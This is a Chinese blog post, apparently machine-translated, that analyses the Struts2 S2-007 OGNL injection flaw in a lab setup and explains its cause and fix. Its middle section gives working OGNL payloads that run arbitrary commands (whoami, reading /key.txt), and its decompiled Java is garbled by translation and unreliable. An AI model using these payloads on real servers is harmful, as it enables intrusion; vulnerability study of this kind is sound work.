• 【Struts2-命令-代码执行突破分析系列】S2-007


    前言

    继上回S2-001之后,继续分析了S2-007,若有疏漏,还望多多指教。

    进攻环境根据vulhub中的环境修改而来https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

    这回的S2-007和上回的S2-001中断环境地址https://github.com/kingkaki/Struts2-Vulenv

    有学者的师傅可以一起分析下

    进攻信息

    官方漏洞信息页面:https ://cwiki.apache.org/confluence/display/WW/S2-007

    形成原因:

    发生转换错误时,将用户输入评估为OGNL表达式。这允许恶意用户执行任意代码。

    当配置了验证规则,类型转换出错时,进行了错误的字符串拆分,靴子造成了OGNL语句的执行。

    进攻利用

    这里我配置了一个UserAction-validation.xml验证表单

    <?xml version =“ 1.0” encoding =“ UTF-8”?> 
    <!DOCTYPE验证程序PUBLIC 
            “-// OpenSymphony Group // XWork Validator 1.0 // EN” 
            “ http://www.opensymphony.com/xwork/ xwork-validator-1.0.2.dtd“> 
    <validators> 
        <字段 名称= “年龄” > 
            <field-validator  类型= “ int” > 
                <param  名称= “ min” > 1 </ param> 
                <param  name = ” max“ > 150 </ param> 
            </ field-validator> 
        </ field> 
    </ validators>
    

    限制了age的值只能为int,而且长度在1-150之间

    然后在登录界面用户名和邮箱值随意,age部分替换我们的payload

    '+(#application)+'

    在age的值部分,成功有了回显

    命令执行

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
     

    修改whoami部分就可以执行任意命令

    比如 打开根目录下的 key.txt文件:

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '

    进攻分析

    进攻主要发生在S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class:28

    公共 字符串 拦截ActionInvocation  调用引发 异常 { 
        ActionContext  invocationContext  =  调用getInvocationContext (); 
        映射< String Object >  conversionErrors  =  invocationContext getConversionErrors (); 
        ValueStack  stack  =  invocationContext getValueStack (); 
        HashMap < 对象对象>  fakie  = ; 
        迭代器 i $  =  conversionErrors entrySet ()。迭代器();
    
        I $ hasNext ()) { 
            条目< 字符串对象>  条目 =  条目I $ next (); 
            字符串 propertyName  =  字符串条目getKey (); 
            对象 =  条目getValue (); 
            如果 shouldAddError propertyName的)) { 
                字符串 消息 =  XWorkConverter getConversionErrorMessage propertyName stack ); 
                对象 操作 =  调用getAction (); 
                if  ValidationAware的动作 实例 { ValidationAware va = ValidationAware )的动作; va addFieldError propertyName message ); } 
                       
                     
                
    
                如果 fakie  ==  null { 
                    fakie  =  new  HashMap (); 
                }
    
                飞骑propertyName的getOverrideExpr 调用)); 
            } 
        }
    
        if  fakie  !=  null { 
            堆栈getContext ()。put “ original.property.override” fakie ); 
            调用addPreResultListener PreResultListener () { 
                公共 空隙 beforeResult ActionInvocation  调用字符串 发送resultCode { 
                    地图< 对象对象>  飞骑 =  地图调用getInvocationContext ()。get “ original.property.override” ); 
                    如果 fakie  !=  null { 
                        调用getStack ()。setExprOverrides fakie ); 
                    }
    
                } 
            }); 
        }
    
        返回 调用invoke (); 
    }
    

    当类型出现错误的时候,就会进入这个函数

    这里可以Object value = entry.getValue();看到,在中收回了预期的有效载荷

    再来到后面的fakie.put(propertyName, this.getOverrideExpr(invocation, value));

    跟进this.getOverrideExpr(invocation, value);

    受保护的 对象 getOverrideExpr ActionInvocation  调用对象 { 
        return  “'”  +  value  +  “'” ; 
    }
    

    这也就解释了为什么payload的分开要加'++'就是为了闭合这里的分开的引号

    对加入fakie的值值就变成了''+(#xxxx)+''的形式

    进来后面放入了invocation值中,最后调用了invoke()解析OGNL成功代码执行

    进攻修复

    struts2.2.3.1对这个突破进行了修复,修复方法也异常简单,例如sql注入的addslashes,对其中的单引号进行了转义

    getOverrideExpr函数中进行了StringEscape,从而无法封闭单引号,也就无法构造OGNL表达

  • 相关阅读:
    第三第四周的笔记
    第一二周的笔记
    jQuery的一些笔记
    函数的执行环境与调用对象
    从click事件理解DOM事件流
    慕课编程题JS选项卡切换
    adb(11)-重新挂载 system 分区为可写
    adb(10)-屏幕截图/录制
    adb(9)-查看设备信息
    adb(8)-查看日志
  • 原文地址:https://www.cnblogs.com/ssan/p/12711765.html
Copyright © 2020-2023  润新知